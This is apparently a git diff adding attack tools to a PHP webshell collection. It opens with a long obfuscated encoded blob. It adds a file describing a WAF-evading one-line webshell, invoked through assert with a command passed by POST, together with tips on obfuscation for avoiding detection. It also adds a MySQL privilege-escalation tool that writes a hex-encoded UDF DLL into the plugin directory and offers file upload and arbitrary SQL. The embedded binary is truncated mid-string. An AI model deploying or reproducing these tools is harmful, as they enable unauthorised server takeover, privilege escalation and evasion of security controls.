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 diff --git "a/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" "b/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..06e906f --- /dev/null +++ "b/php/\346\227\240\347\211\271\345\276\201\345\205\215\346\235\200\346\211\200\346\234\211waf\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,10 @@ + + + + +//位运算符 //k为密码 试用方法 GET xxxx.php?k=assert POST k=命令 + + +使用方式 shell.php?k=assert POST k=phpinfo(); + +其实有很多免杀思路,加密算法问题,简单的加密可以找生僻的php算法函数进行混淆算法,软防这类的直接阳痿,检测不出来,因为普通的base64 chr zip压缩等等,软件这类都有自带的调用解密所以好多以前的免杀记录都不免杀了! 但是有时候可以绕过安全狗,无特征可以靠吧函数逆一下检测不出来函数 也是无特征所以基本 通杀waf,但是提交的参数不加密,还是会拦截参数,如果是混淆加密基本不好说能过,除非你有新思路,利用php算法函数来进行加密等等,从而检测不出,虽然是php函数,但是他waf调用的检测内核和解密内核他会用基本的去进行解密,如果我们在这个函数上再加一把东东呢,那这些waf是不是就傻眼了! 好久没上了,看看文章都不能看,不是正式成员,我也是赚点酒票快点升正式而已,下次如果有新加密方法,免费发布,怎么说呢,这类东西我只是提供一个新思路而已,比较方法好多,希望大家采纳! diff --git "a/php/\346\232\227\346\234\210mysql\345\205\250\347\211\210\346\234\254\351\200\232\346\235\200\346\217\220\346\235\203\347\245\236\345\231\250(mOon\345\216\237\345\210\233).php" "b/php/\346\232\227\346\234\210mysql\345\205\250\347\211\210\346\234\254\351\200\232\346\235\200\346\217\220\346\235\203\347\245\236\345\231\250(mOon\345\216\237\345\210\233).php" new file mode 100644 index 0000000..24c34d9 --- /dev/null +++ "b/php/\346\232\227\346\234\210mysql\345\205\250\347\211\210\346\234\254\351\200\232\346\235\200\346\217\220\346\235\203\347\245\236\345\231\250(mOon\345\216\237\345\210\233).php" @@ -0,0 +1,436 @@ +$value){ +setcookie("connect[$key]","",time()-1); +} +header("Location:".$_SERVER["SCRIPT_NAME"]); +} + + + + + + +if(!empty($_POST['submit'])){ +setcookie("connect[host]",$_POST['host']); +setcookie("connect[name]",$_POST['name']); +setcookie("connect[pass]",$_POST['pass']); +setcookie("connect[db]",$_POST['db']); +$_COOKIE["connect"]["host"]; +echo ""; +} + + + + + + + + + + + + + +if(empty($_GET["action"])){ +?> + + + + + + +暗月mysql全版本通杀提权神器(mOon原创) + + + + + + + + + + +
                            + + + + + + + + + + + + + + + + + + + + + +
                            暗月mysql全版本通杀提权神器(mOon原创)
                            HOST:
                            NAME:
                            PASS:
                            DB:
                            + +   + +
                            + + +
                            +
                            Copyright By mOon 2014
                            + 黑客居家旅游杀人放火爆菊必备暗器
                            +Blog:www.moonsec.com Bbs:www.moonsafe.com +版本更新 +
                            + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +'; + + + + +$link = mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["name"],$_COOKIE["connect"]["pass"]); + +if(!$link){ +echo "连接失败.".mysql_error()."返回重填"; +exit; +}else{ +echo "连接成功
                            "; +echo "版本信息:
                            "; +$str=mysql_get_server_info(); +echo 'MYSQL版本:'.$str."
                            "; +foreach(_ver() as $key=>$value){ +echo $key."-----".$value."
                            "; +} +echo "
                            "; +if($str[2]>=1){ +$pa=str_replace('\\','/',_dir()); + $path=$_SESSION['path']=$pa."/moonudf.dll"; +}else{ +$path=$_SESSION['path']='C:/WINDOWS/moonudf.dll'; +} + +} + +$conn=mysql_select_db($_COOKIE["connect"]["db"],$link); +if(!$conn){ +echo "数据不存在.".mysql_error()."返回重填"; +exit; +}else{ +echo "数据库--".$_COOKIE['connect']['db']."--存在
                            "; +} +echo '点击退出
                            '; + +echo '
                            '; +echo ''; +echo ''; +echo '"; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo '
                            当前路径:'; +echo "
                            '; +echo'
                            '; +if($_POST['subfile']){ +$upfile=$_POST['p'].$_FILES['file']['name']; + +if(is_uploaded_file($_FILES['file']['tmp_name'])) + { +if(!move_uploaded_file($_FILES['file']['tmp_name'],$upfile)){ +echo '上传失败'; +}else{ +echo '上传成功,路径为'.$upfile; + } + + } + + } + +echo '
                            '; +echo '选择UDF导出的版本 win32 & win64 默认32位'; +echo '
                            '; +echo 'win32 '; +echo 'win64 '; +echo '
                            '; +echo ''; +echo ''; +echo ""; +echo ''; +echo '
                            路径目录为:
                            '; +echo '
                            '; +echo '
                            '; + + + +if($_POST['subudf']){ + + if($_POST['udf']=="32"){ + + $shellcode=mysql86(); + + }else{ + $shellcode=mysql64(); + } + + +mysql_query('DROP TABLE Temp_udf'); +$query=mysql_query('CREATE TABLE Temp_udf(udf BLOB);'); +if(!$query){ +echo '创建临时表Temp_udf失败请查看失败内容'.mysql_error(); +}else{ +$query="INSERT into Temp_udf values (CONVERT($shellcode,CHAR));"; +if(!mysql_query($query)){ +echo 'udf插入失败请查看失败内容'.mysql_error(); +}else{ +$query="SELECT udf FROM Temp_udf INTO DUMPFILE '".$path."';" ; +if(!mysql_query($query)){ +echo 'udf导出失败请查看失败内容'.mysql_error(); +}else{ +mysql_query('DROP TABLE Temp_udf'); +echo '导出成功'; +} +} +} +} + + +echo '
                            '; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo '
                            文件路径:
                            目标路径:
                            '; + +echo '
                            '; +echo ''; +echo '
                            '; +echo '
                            '; + +if(!empty($_POST['diy'])){ +$diy=str_replace('\\','/',$_POST['diy']); +$diypath=str_replace('\\','/',$_POST['diypath']); +mysql_query('DROP TABLE diy_dll'); +$s='create table diy_dll (cmd LONGBLOB)'; +if(!mysql_query($s)){ +echo '创建diy_dll表失败'.mysql_error(); +}else{ +$s="insert into diy_dll (cmd) values (hex(load_file('$diy')))"; +if(!mysql_query($s)){ +echo "插入自定义文件失败".mysql_error(); +}else{ +$s="SELECT unhex(cmd) FROM diy_dll INTO DUMPFILE '$diypath'"; +if(!mysql_query($s)){ +echo "导出自定义dll出错".mysql_error(); +}else{ +mysql_query('DROP TABLE diy_dll'); +echo "成功出自定义dll
                            "; +} + +} + +} + +} + +echo "
                            "; +echo '自带命令:
                            '; +echo '
                            '; +echo ''; +echo ' '; +echo '
                            '; + +echo '
                            '; +echo '自定义SQL语句:
                            '; +echo ''; +echo ' '; +echo '
                            '; + +echo "回显结果:
                            "; +echo ''; + +echo '
                            '; +print(" +本版支持mysql win32 & win64位 提权 +但是少了某些提权功能,例如反弹函数。 +需要使用反弹函数 请使用以前的版本,但是不支持64位的mysql。 + +"); + + + + + + + + + + + +function _dir(){ + $sql="SHOW VARIABLES LIKE '%plugin_dir%'"; + $row=mysql_query($sql); + $rows=mysql_fetch_row($row); + return $rows[1]; + + +} + + +function _ver(){ + $_version=array(); + $sql="show variables like '%version%'"; + $row=mysql_query($sql); + while($rows=mysql_fetch_row($row)){ + + $_version += array($rows[0]=>$rows[1]); + + + } + return $_version; + + +} + + + + + + + + + + + + + + + + + + + + + + + +function mysql86(){ + + +return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000F2950208B6F46C5BB6F46C5BB6F46C5B9132175BB4F46C5B9132115BB7F46C5B9132025BB4F46C5B9132015BBBF46C5B75FB315BB5F46C5BB6F46D5B9AF46C5B91321D5BB7F46C5B9132165BB7F46C5B9132145BB7F46C5B52696368B6F46C5B0000000000000000504500004C0103004E10A34D0000000000000000E00002210B010800001000000010000000600000D07B0000007000000080000000000010001000000002000004000000000000000400000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007882000008020000B0810000C800000000800000B001000000000000000000000000000000000000808400001000000000000000000000000000000000000000000000000000000000000000000000009C7D00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E055505831000000000010000000700000000E000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000120000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303500555058210D09020947A37B47FAE6101946550000C90B000000200000260000A4FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015EAEFDBBFDC3C38B44240C1B6A071711108BF81933FFDFEDB7181DA45FC7011E12005E210883380175128B40040DF6776F0700750A1004C6000132C0C3540A6F2FF68D3C3054A455322D08FF30BFBDFBDDFF156D8885C05975085614C601011BC8568D7101FFDBB7FF8A114184D275F98B54142BCE890A32558BEC8B4D0C8339022D36D86F5374148B7D10915C54536F67EFF7EB4C8B417D740F1B707C1BEBE58366ECFFED6004001A0C8B48048B008D4401025072A037F2DD6E4E08891875113006A44CDD96EFEDEBB2B85F5E5DA3040C287408DBF6C79E33A8591353568B742410D8785346BB707B6B02B6460851C78D5C4357E824CEDDFD770AB81400C604070008FF70041E05767B43B2531A22C4185357200300544126E136086A995B420B7E780A84033B9859991A83EC0CFB5BFBEB9735D9576800F15CD66A018945FC06BB75DD7F8BF08B450CC60600326848C03733FF396DEDEF1E9C8B1D0590506A04FF75FC2AACD37D2EBCBD991CEB402DFC8D487E10402BC1B68D6DBF18F803C7505606F4348C2BF851BBB5B1BB3003FE5710940BD47DF44463EEC21741202F75BC131CA40B03FBFF803E0059741A8BC6C64437FF00567B14DF3AB68589B3066C18285F205E5BC9C3D6B6AE73F3C951F77D5247E3306DDB2CCB5008C9C26A98F0BF1726B4B710548D4601B23B5C4F08EDDB09EE56FF31BBA0947E0C6AFF8DC082B55D7B2082EE02F8092C0FDBC6C123005FEE5E6B6A0C125E58F886909609848365FC1D4550D0EB075BD85ED81B405F65E8C742FE24FF0D0BDB855F1FC9C24E3B0D08209602DBCEFEEDF3C3E908065556688000005680965608B8BFCB1F8485F65959A32354045075054BFEED762FAC8326004308166D083E0904C70424FF098FDD06075D0B5933C0CF5533ED3BC5750EDD7F85DD392D66107E2B6E1083F8018B0810DD7D77E1548B09DB57890A23440F85CC7964A118771C61C3058104C2385521234CEB0DF6DFB5184D9D051A3BC7741768E803A03CEE76C3B6FF57A1D396E7EB036645A12BB7FBFBB7480D6A025F74096A1FE056EB3C9E10C80460FADCF7C0C7051F015E1A50267FDF77B6C007581720BC04B81B4A5989F784A6B13D4BEDBC5504408312C97DEFD258851E6807E4DE4294BBBD7769FF321C57042618FF05E0BD6F6BDF5414F7D38ECD3DCAB6C6809DC90BBE55C75BD783BD10EBBEEBB91402740AB759BE8D1DB6EB4835713B78258BD885DBB8B410DB6C3414EED7E1F8EBF45F68DA4607C102DC83EF043BFB73F1530811C682CA067CAAB4307B1B8525E32D60C77C6C7CC9BC985B5DC20C3E1029286FB86F8D8B8FF28B5D081C73E433C9F04DBBD2894D376A2008683BF1751039FFC75688B60C17E426103BF0740583FE5BA1F5EE02752EB910D03BC148897FD0DB39F7773B837DE4000F8493F6115A037F147D27D99AA71280096227FEAC9DDD6D1324FB2057501357A72F8DF6BAD852D90611537C67BB617F6A0375434F34032168746D3CECB02E2C257FEB1BF0ECA3F0BD75BB09AAE05051595CE7F9413AB5D20B2F0F013D46DA761906292AE407C31B6D5B8DAEEC16FFD79A089A052CD0307CD600D688BC109B0C770DAB0C10051E5936C981ECE18F0D8628C55D2120BC211C895A3F3EECB8211889B3211438211041210C7DED6BDF668C183806252C062008A9344BB306050425001A6C63EDFBFC9C8F14309156240704ACFDB7F428F20807348B85E0FC9CA6B67B5B6370C201A11C19202413778E513A1809C9E0201C1DB37CEE25D38985D8320A04DC7E8D6F04FF24346879DF945963EC63B04128FAD40A2CE7BDC3B6DA20110823685B9E0A678D1B3068342F033C887C5CF81E9A5B6A144650C0C391C1B435D659E7F85A1B63ED324D3970D7619FB8363BFC37AC598B2E2827ADD0BA60D90AE0F3B903B16DFBDCE450352AA612DC0AE45440DB626C60D6D30FE009859710C3D4E5D107FB371DDAD984DCD166A09EC3BB0E6EFF1A65F7D81BC00359487EB8B018BF2DB1D57A0451E5735806B0D2CB2049C6F772F11F23C28E90672020CC00D0FA054727D281394D5A748BA1F09728EE973C03C1813850CE4936F85B69F04F1878180B010F941DC1FC3612C336844825C80FB74114121BDF0A0505710633D2EC57C9FABF9DF80818761E201D0C3BF972098B580803D9D4FEB758E07221C20183C0283BD672E660619241C0C2E970BA0330D0FD7AF00052996C59AB3DF94B7CC7365D50109C59112B29244F07E1F6C1E81FF7C3E00134EB202E00C1AC636B01A33D3EC0A2B11D85942845AB105805E3A491914C50AC2D13348483A1D287206DEADC35936B204A2CE7A309E1646DA91938DE09F3186C036D0C039B8D2BE0FAA8316AC1DA89F633C5508973810B796DEF0D139E04F064A337904DC3BBDBA9096900595FFA8BE55D51D8C3BB1BD810036803276850F9C4CEC2C5B28C3E1064F82D222D20F8FEA0BF4EE640BB1ABC1958D3BB86360D85C32C33B63F15101404EB605671F8E3C61E6BED448B7